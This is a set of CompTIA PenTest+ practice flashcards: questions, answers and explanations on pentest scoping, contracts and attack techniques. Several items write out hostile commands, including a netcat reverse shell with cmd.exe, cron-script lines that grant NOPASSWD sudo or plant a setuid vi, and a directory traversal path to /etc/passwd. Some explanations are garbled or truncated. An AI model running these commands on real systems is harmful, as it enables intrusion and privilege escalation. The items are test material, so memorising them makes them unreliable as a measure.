TotalTester Online: CompTIA Pen Test+ Certification Exam PTO-001 Flashcards
During an internal pentest of a company’s network, you find that a substantial number of Active Directory user account passwords on the Windows domain are susceptible to brute-force login attacks, using passwords of no more than six characters in length, with little to no password complexity.
Which mitigation strategy should you recommend to the customer?
A.Don’t use passwords susceptible to dictionary attacks
B.Limit character reuse
C.Enforce a stronger password policy
D.Remove default user accounts on the system
C.Enforce a stronger password policy
Explanation:
The customers network in the scenario provided lacks the ability to enforce stronger password settings, which can be controlled using both a technical policy and an administrative control policy.
The administrative policy can inform users that they must use passwords that meet a certain level of complexity, and a technical policy can enforce the actions of the administrative policy using a configuration setting.
A,B, and D are incorrect.
A is telling the customer to not use passwords susceptible to dictionary attacks only highlights the weakness and is not a mitigation strategy.
B is incorrect because limiting character reuse during the password creation process may not alter the complexity of the password, thus not preventing passwords used on the domain from being susceptible to brute-force logins.
D. is incorrect because removing default user accounts on the system doesnt address the issue of weak passwords.
You are tasked with completing an internal pentest of the ABC company’s network.
To be sure you cover all the levels of trust within the company’s network, which methods of access should you conduct testing from? (Choose three)
A.Limited access
B.User-level access
C.Privileged-level access
D.Executive-level access
E.All of the above
A.Limited Access
B.User-level access
C.Privileged-level access
Explanation:
A,B, and C are correct.
A is correct because limited access affords the intial connectivity to the targets, such as a connection to the network (physical or wireless) where you attempt to exploit a higher level of access on the network, such as user-level or privileged user access.
B is also correct because the level of access assumes the identity of a trusted insider with basic permissions that a typical user on the network would have.
You can attempt to exploit this level of access to obtain privileged user, where you can attempt to escalate from local admin to domain admin on an Active Directory network
D & E are incorrect because executive level access is not a recognized access level and will likely faill within the other three categories of access permissions such as user-level access or privileged level access on the network.
The rules of engagement (RoE) document MUST contain a signature from which of the following? (Choose all that apply) A.Service vendor B.Organizational management C.Finance Department D.Contracts Department
A.Service vendor
B.Organizational management
Explanation:
A and B are correct as A is the service vendor who carries out the execution of the pentest
B. is correct because organizational management is responsible for working with the vendor to ensure they have they need to be successful, and providing direct oversight of the project
C and D are incorrect because the financial department is responsible for paying the purchase order for the work and verifying the service vendors invoice
Contracts department is involved when signing other contractual documents such as the MSA or SOW and holds the service vendor accountable for all contractual obligations
Critical findings in a pentest are likely to have \_\_\_\_\_) on a customer network A.a high impact B.a low impact C.a medium impact D.no impact
A.a high impact
Explanation:
Critical findings will have a high impact on the network, based on certain environmental factors such as the sophistication of the exploit and how it affects the confidentiality, integrity and availability of the system/network
B,C and D are incorrect because low impact findings are rated with a low severity
Medium severity impact findings are rated with a medium severity
D is incorrect because there are no findings that should be categorized with a no impact level of severity
Using the following example PHP code, what type of attack could this application be suspticble to?
Example HTTP GET request:
http://www.example.com/test.php?img=photo1.png
Example PHP Code:
A.Directory traversal attack
Explanation:
The example URL will attempt to retrieve photo1.png from the web server and render the image in the brwoser.
The example PHP code shows that the value of the img= paramter, photo1.png, should be retrieve from $WebDir, which points to the local file system path of ‘/var/www/html’
However, because the code provides no input validation, it could be susceptible to directory traversal to access files outside the intended location using ../../../etc/passwd
B,C and D are incorrect
B is incorrect because the application would not be susceptible to a SQL injection as there is no mention of a database function within the code
C is incorrect because the PHP code does not execute directory indexing
D is incorrect because click jacking is a client side attack that tricks user into clicking on a button or link within a web page they were not intending to interact with.
This attack makes use of CSS iframes, and even text boxes to load legitimate web content through an attacker-controlled web page
The runme.py script is executed through a root cron-job everyday from the NFS share called /share.
The permissions on the script allow anyone to write to the file.
You have user-level privileges as the “user1” account on the Linux target where the cron-job is executed form.
Which of the following options could you append to the script to further exploit the target? (Choose all that apply)
A.os.system (‘chmod 4447/bin/bash’)
B.os.system(‘cp /bin/vi /share; chmod 4447/share/vi’)
C.’os.system(‘cat/etc/shadow’)
D.os.system(‘echo “user1 ALL=(ALL) NOPASSWD:ALL”»_space; /etc/sudoers’)
B.os.system(‘cp /bin/vi /share; chmod 4447/share/vi’)
D.os.system(‘echo “user1 ALL=(ALL) NOPASSWD:ALL”»_space; /etc/sudoers’)
Explanation:
B is correct because you can use a system call to copy the vi command (as root) to the NFS share and apply a setuid bit on the executable.
When the new vi command is executed you can escape the shell and execute commands as root
D is also correct because you can echo a line into the /etc/sudoers file so that your user account can execute commands as root with no password
A and C are incorrect because bash as setuid restrictions that will prevent the shell from executing with root privileges.
C is incorrect because reading the /etc/shadow file will happen inside roots cronjob process thus it will not be visible to your user account.
However, if you redirected the output of the command to a file, you would be able to read the shadow file
During a physical pentest, your team was able to duplicate a valid employees proximity card and would like to use it to gain access to the server room.
What type of attack is described in this scenario?
A.RFID Cloning
B.SPP
C.Lock bumping
D.Egress sensor bypass
A.RFID Cloning
Explanation: RFID cloning (badge cloning) is the process of duplicating a valid identification card used for physical entry
B is incorrect because single pin locking (SPP) is a technique used for picking the pins in pin tumbler locks
C is incorrect because lock bumping is a technique used for brute-forcing door locks
D is incorrect because an egress sensor bypass is not used to clone identification cards, but rather accomplished by wedging a piece of paper between the top of the door and the door frame to trigger thew motion sensor to release the magnetic door lock, allowing unauthorized entry through the door
Which type of assessment is required for organizations that accept, process or store consumer payment card information? A.PCI DSS B.HIPAA C.Red team D.FISMA
A.PCI DSS
Explanation:
The Payment Card Industry Data Security Standard assessment is required for organizations who accept, process or store payment card information for customers and merchants
B is incorrect because HIPPA is for organizations that manage personal health information
C is incorrect because red team assessment is used to simulate advanced persistent threats (APT) on an organizaions network
D is incorrect because Federal Information Security management Act (FISMA) assessments are for organizations that use government networks and mandated under US federal regulations
Which of the following WIndows shares are readable on the local area network by default? A.ADMIN$ B.IPC$ C.C$ D.All of the above
B.IPC$
Explanation:
The IPC$ share, also known as the null session share, allows anonymous hosts on the network to perform certain activities such as enumerating domain accounts and network shares
A and C are incorrect because the ADMIN$ and C$ Windows shares are only accessible over the network by local or domain administrator accounts
D is incorrect because not all of the shares are readable by anonymous users on the network
By default, what type of queries will a Windows host send over the network if it cannot resolve the hostname through DNS? (Choose all that apply) A.LLMNR B.NBNS C.ARP D.ICMP
A.LLMNR
B.NBNS
Explanation:
In the event that a Windows host cannot resolve the WPAD (web proxy auto-discovery protocol) server hostname through DNS, it will send Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBNS) queries over the network by default; however, this can be disabled changed
C is incorrect because ARP is used for resolving an IP to a MAC address
D is incorrect because ICMP is used for communicating with hosts over the network and sending error messages and other operational information regarding services over the network
During a pentest, you were successful with gaining remote user-level access to a Windows 10 host on the ABC Active Directory Domain.
The customer utilizes sophisticated intrusion detection capabilities.
Part of the RoE suggests utilizing attack techniques that might go undetected.
Which of the following would be the BEST choice when carrying out additional attacks from the compromised host?
A.Leverage native capabilities from the host and try to blend in with normal activity until you get a fell for how the IDS capabilities are configured
B.Copy tools such as pwdump.exe and ncat.exe over to a staging area on the local file system and start planning an attack strategy
C.Use msfvenom to generate a Meterpreter payload for the compromised target, then copy over to the local file system. and execute the payload to get a reverse, encrypted shell to use for interacting with the target
D.Establish a foothold on the target using the Empire framework, in order to further exploit Active Directory Domain
A.Leverage native capabilities from the host and try to blend in with normal activity until you get a fell for how the IDS capabilities are configured
Explanation:
Given the current scenario, it is unknown how sophisticated the customers defense capabilities are so gaining situational awareness is a critical step in the post-exploitation phase and can help a pentester gather important knowledge of the host and internal network
Once you know how the system and environment are configured, you can start planning your next position of attack, such as if an exploitation framework is safe to use, which exploits or attacks could trigger unnecessary alarms/alerts on the network
B is incorrect because there is not enough information provided to determine if those actions can support post-exploitation capabilities without being detected
C is incorrect because putting unnecessary executable or exploits on a local file system could trigger the antivirus software
D is incorrect because it is best to wait until you gain situational awareness of the environment and surroundings before carrying out an attack strategy without a well-thought out plan
After obtaining root access through a local privilege escalation vulnerability on a Linux server, you decided to create a cronjob to call back to your attack host with a remote shell every hour in case the system administrator reboots the server.
This technique is known as what? (Choose all that apply)
A.Maintaining persistence
B.Lateral movement
C.Pivoting
D.Creating a backdoor
A.Maintaining persistence
D.Creating a backdoor
Explanation:
Creating a cronjob to call back to your attack host would be considered both maintaining persistence and creating a backdoor into the customers network
B is incorrect because lateral movement would be remotely connecting to other hosts on the customers network or domain using native operating system commands, such as ssh with the same users domain credentials
C is incorrect because pivoting would be the process of utilizing a compromised target or host within your control to exploit trust relationships within the domain.
For example, establishing a foothold on the compromised target in the customer network behind an external firewall, then creating an SSH tunnel through the firewall to stage attacks against other internal network targets from the compromised target
What is this command doing?
‘nc 192.168.1.50 4444 -e cmd.exe’
A.Forward a command shell from the local Linux host to a remote host over the network
B.Forward a command shell from the local WIndows host to a remote host over the network
C.Forward a command shell from the remote host to the local Linux host over the network
D.Forward a command shell from the remote host to the local WIndows host over the network
B.Forward a command shell from the local WIndows host to a remote host over the network
Explanation: The netcat (nc) utility can be used to forward data to remote hosts over the network.
The command in this example is forwarding a command shell from the local WIndows host to a remote host listening on port 4444/tcp
A is incorrect because the shell that is being forwarded is a Windows command shell (cmd.exe), which suggests the local host is Windows
These answers are incorrect because the command is connecting to the remote host IP address of 192.168.1.50
If the connection were to the local host, the loopback address of 127.0.0.1 could be used, but otherwise there is no need to connect back to the local host if the pentester already had access to the target box
Organizations looking for an evaluation that tests their defense posture against real-world attacks that involve stealth and blended methodologies and that test time to detection, time to response and resilience against specified modeled threats would be looking for which type of assessment? A.Compliance-based B.Goals-based C.PCI DSS D.Red team
D.Red team
Explanation:
A red team assessment or read teaming, will evaluate how well an organization would fare given a scenario of a real-world attack of skilled attackers.
Read teamining involves stealth and blended methodologies (such as social engineering and network pentesting).
The goals of red teaming are to test time detection, time to response and resilience against specifically modeled threats using tactics not limited to a single attack scope
A and C are incorrect because those types of assessments would satisfy compliance and regulatory based assessments
B is incorrect because goals-based assessments cover specific goals, or objectives, within a defined scope whereas red teaming could expand using tactics that are not limited to a single attack scope
Which testing methodology or methodologies should an organization consider when scoping and planning for an engagement? (Choose all that apply) A.Black box B.White box C.Gray box D.All the above
D.All the above
Explanation:
All of the answers are testing methodologies that should be considered when planning and scoping an engagement
During a pentest, you successfully recover NTLM hash values for most of the users in an Active Directoru domain; however, you are unable to execute PtH attacks due to environmental restrictions.
Therefore, you decide to use the hashcat utility to crack the hashes offline.
Which hashcat mode will you use to crack the hashes? A. -m 2500 B. -m 300 C. -m 1000 D. -m 0
C. -m 1000
Explanation:
The hash mode for NTLM in hashcat is represented as 1000
A is incorrect because that hash mode is for WPA.
Answer B is incorrect because that hash mode is for LANMAN hash values
D is incorrect because that hash mode is for MD5 hash values
The following command will do what to the wireless network interface?
‘airmon-ng start wlan1’
A.Inject packets on the wireless network
B.Put WLAN1 into monitor mode
C.Enable the wireless interface card
D.None of the above
B.Put WLAN1 into monitor mode
Explanation:
The airmon-ng command utility is used to put the wireless interface into monitoring mode
A is incorrect because ‘aireplay-ng’ is the Aircrack-ng utility that is capability of injecting packets on the wireless network
C is incorrect because the interface card should already be enabled prior to using airmon-ng
D is incorrect because at least one answer is correct.
In certain situations, a pentester may need to download, modify and complete an exploit for the target architecture.
Which command can a pentester use to accomplish this task in a Unix-like environment? A. adb B.gcc C.apk D.gdb
B.gcc
Explanation:
The GNU compiler (gcc) is a utility that will compile source code written in the C programming language for the architecture the program will run on
A is incorrect because the Android debug bridge (adb) is a command utility that will allow you to connect to an Android device from a computer using a USB cable
C is incorrect because an Android application package (APK) is a file format for the packages installed on Android devices, not a compiler
D is incorrect because the GNU debugger (gdb) is the command utility to debug programs, not compile them
VNC password that rely on DES encryption can be a maximum of how many characters in length? A.6 B. 8 C.10 D.12
B. 8
Explanation:
VNC passwords that use DES encryption will be truncated to the length of eight characters, regardless of what the user sets the password to be.
This is a limitation of DES
A, C and D are incorrect because DES encryption supports up to eight character in length
\_\_\_\_\_\_ is a tactical process for surverying an area for wireless access points while in a moving vehicle A.Stumbling B.Scanning C.Wardriving D.Enumeration
C.Wardriving
Explanation:
Wardriving is a tactical process for surverying an area for wireless access points while in a moving vehicle in order to identify wireless networks and potential targets in certain area of interest
A is incorrect because stumbling is a surveillance technique used for discovering SSIDs, router vendor information and signal strengthen MAC addresses, channels and so on.
B is incorrect because scanning is the process of examining or studiyng the surace of an object
In regard to scanning a network, this optiuon is a little more obtrusive than wardriving
D is incorrect because enumeration is the process of extracting information from a particular target, rather than passive surveillance of a target area during reconnaissance
The following lines of code will echo a random_msg every second until var equals 10.
However, the same message is echoed each time through the loop
What could you do to help randomize the messages that are echoed in the terminal? A.Move line 9 outside of the while loop B.Move line 5 within the while loop C.Move line 4 below line 11 D.Move line 3 below line 8
C.Move line 4 below line 11
Explanation:
A seed value is a number used to intialize a pseudorandom number generator.
The Bash Script requires a condition that generates a random seed value (line 5) to be placed within the while loop to help randomize the message that is echoed to the terminal when the script is executed.
When the condition is not in the loop, the script will echo the same message until the value of $var equals 10
A is incorrect because moving line
During the internal portion of a pentest, you notice an executable called newcmd.exe in the C:\Windows\Temp folder on one of your targets.
The executable is also in the process listening, running with SYTSTEM privileges and consuming a great deal of hardware resources on the host.
You consult with your team, and no one else has touched this target.
What is the best course of actions for this scenario?
A.Inform the customer immediately of the potential compromise
B.Include the incident in the pentest report, but dont bother the customer at this time
C.Conduct malware analysis against the executable
D.Remove the executable and inform the customer
A.Inform the customer immediately of the potential compromise
Explanation:
Given a scenario that may require deconfliction your pentest team may need to sort out the pentest artifacts from the artifacts of a real compromise
JTAG can be used for which of the following? A.Application debugging B.Debugging embedded devices C.Jailbreaking D.Rooting Android devices
B.Debugging embedded devices
Explanation:
JTAG is used for debugging embedded devices (hardware)
In regard to a pentest report, what is a testing narrative?
A.It offers details as to the testing methodology that was executed and the outcome
B.It provides details for each tool used to conduct the testing
C.It shows how successful the pentest team was in conducting the assessment
D.Its required for PCI, HIPAA, and FedRAMPS pentests
A.It offers details as to the testing methodology that was executed and the outcome
During a pentest, your team is having issues running a root setuid program on an NFS file system in a directory named /share
The permissions on the executable are 4777
What is the likely cause of the problem?
A.The program is missing the executable flag
B.The NFS share is mounted with the nosuid option
C.The setuid flag is missing on the program
D.Your team is not executing the program using the full path
B.The NFS share is mounted with the nosuid option
Explanation:
An NFS file share configured to mount with the nosuid option will prevent executable s on the share from executing with the privileges of the program owner.
This is a security feature to defend against using NFS to facilitate privileged escalation attacks on the local OS
The SOW includes information pertaining to all Except which of the following subjects? A.Location of work B.Period of performance C.Allocation of risk D.Scope of work
C.Allocation of risk
Explanation
The allocation of risk is a provision within the master service agreement (MSA) that defines levels of responsibility between each party
Your team is attempting to crack an MD5 password hash using a dictionary-based attack, thus far without success.
Your team knows the length and complexity of the password based on the targets password policy.
Which technique might give your team a better chance at cracking the password?
A.Using rules
B.Brute force
C.Password guessing
D.Hash-identifier
A.Using rules
Explanation:
A predetermined set of rules to make certain letters uppercase, lowercase and so forth can help improve the efficiency of the attack when the length of the password is known and can help the team work smarter instead of harder
Which contractual document is signed by two consenting parties to protect each others competitive advantages? A.RoE B.SoW C.NDA D.MSA
C.NDA
Explanation:
A nondiclosure agreement is a confidentiality agreement that protects a business’s competitive advantage by protecting its proprietary information and intellectual property.
THis document is fully executed by both parties (signed into action) prior to working together
In the context of a pentest report, a finding is a weakness that could be advantageous to an attacker and, when documented in the report, includes actionable items from exploitation and post-exploitation activities.
Which of the following would be considered findings that should be included in the pentest report?
A.A SQL Injection vulnerability provided the pentest team direct access to the production database server
B.The pentest team conducted MiTM exploitation against assets operating on the LAN
C.The pentest team successfully bypassed the physical locking mechanism of the cipher lock using a known bypass to gain access to the organizations telecommunications closet
D.The vulnerability scanner found that the version of SSL being used does not meet industry best practices.,
However, this vulnerability was not found when the scan was executed from inside the trusted network
A.A SQL Injection vulnerability provided the pentest team direct access to the production database server
C.The pentest team successfully bypassed the physical locking mechanism of the cipher lock using a known bypass to gain access to the organizations telecommunications closet
Explanation:
They describe the exploitation of a vulnerability and provide supporting written evidence of a finding
B is incorrect because conducting MiTM testing does not constitute a finding; rather test a testing activity that can be added to the testing narrative to describe internal testing on the LAN
A long running, persistent mechanism that can run as a background process on a target Linux server is known as what? A.Script B.Executable C.Cronjob D.Daemon
D.Daemon
Explanation:
A daemon is a long running program that is typically started at boot or when an application launched from a terminal window and runs as a background process rather than under the direct control of an interactive user
A is incorrect because a script is not considered a long-running, persistent program as it executes under the control of an interactive user or process, such as a cronjob, but terminates after is completes it associated tasks
B is incorrect because an executable is a program by itself unless it is started by a user or a process
C is incorrect because a cronjob is not long running, it will execute and terminate within a certain period of time
The unquoted service path vulnerability can be used to escalate privileges on a Windows target and exploits what function of the OS? A.CreateProcess B.Task Scheduler C.Weak Access Controls D.Windows Registry
A.CreateProcess
Explanation:
Unquoted service paths are a direct result of the CreateProcess function in Windows operating systems, where the name of a directory or program in the search path is truncated when the function identifies a blank space in the path.
Windows will attempt to load each truncated executable until it finds the correct one
B is incorrect because the Task Scheduler is a Windows component used for managing the execution of Windows scheduled tasks.
C is incorrect because weak access controls is a misconfiguration of the operating system, not a function
D is incorrect because the Windows registry is a collection of databases of Windows configuration settings, not a function of the OS
The WHOIS directory service was developed in the 1980s to query what type of information? A.IP information B.Host information C.Domain registration information D.User information
C.Domain registration information
Explanation:
The WHOIS directory service was developed to look up domain registration information from registry databases adminstered by multiple registries and registrars around the world
A and B are incorrect because that information is typically searched and obtained during Domain Name System (DNS) queries
D is incorrect because suer information obtained from the WHOIS lookup however, registrar contact information might be able to be searched if the registration of the domain is not private
The Android operating system relies on which type of database to store data in the form of a flat file on the end users mobile device? A.mongoDB B.MySQL C.SQLite D.PostgreSQL
C.SQLite
Explanation:
The SQLite database is used by Android to store data on the end users mobile device
A, B and D are incorrect as these database types are typically found in non-mobile, Unix like and Windows environments
During a pentest your customer asks you to review a log entry from a target web server, as the malicious traffic appears to originate from one of your teams authorized IPv4 addresses.
The log file shows the following:
‘GET /info.php?id=1%20AND%201=1 HTTP/1.1 200
What is your team member most likely testing for? A.Command injection B.XSS C.SQL Injection D.CSRF
C.SQL Injection
Explanation:
The AND operator is passed in the URL to generate a true statement to see if the application is vulnerable to a SQL Injection attack.
URL encoding (%20) is used for white spaces in the URL request
A is incorrect because the request was not using a command such as cat, ls, id, etc. as the value parameter is used to reference a record in the database
B is incorrect because the log entry does not have any JavaScript code in the parameter, which is a characteristic of a cross-site scripting (XSS) attack.
D is incorrect because there was no attempt to exploit a cross-site request forgery (CSRF) in the web request
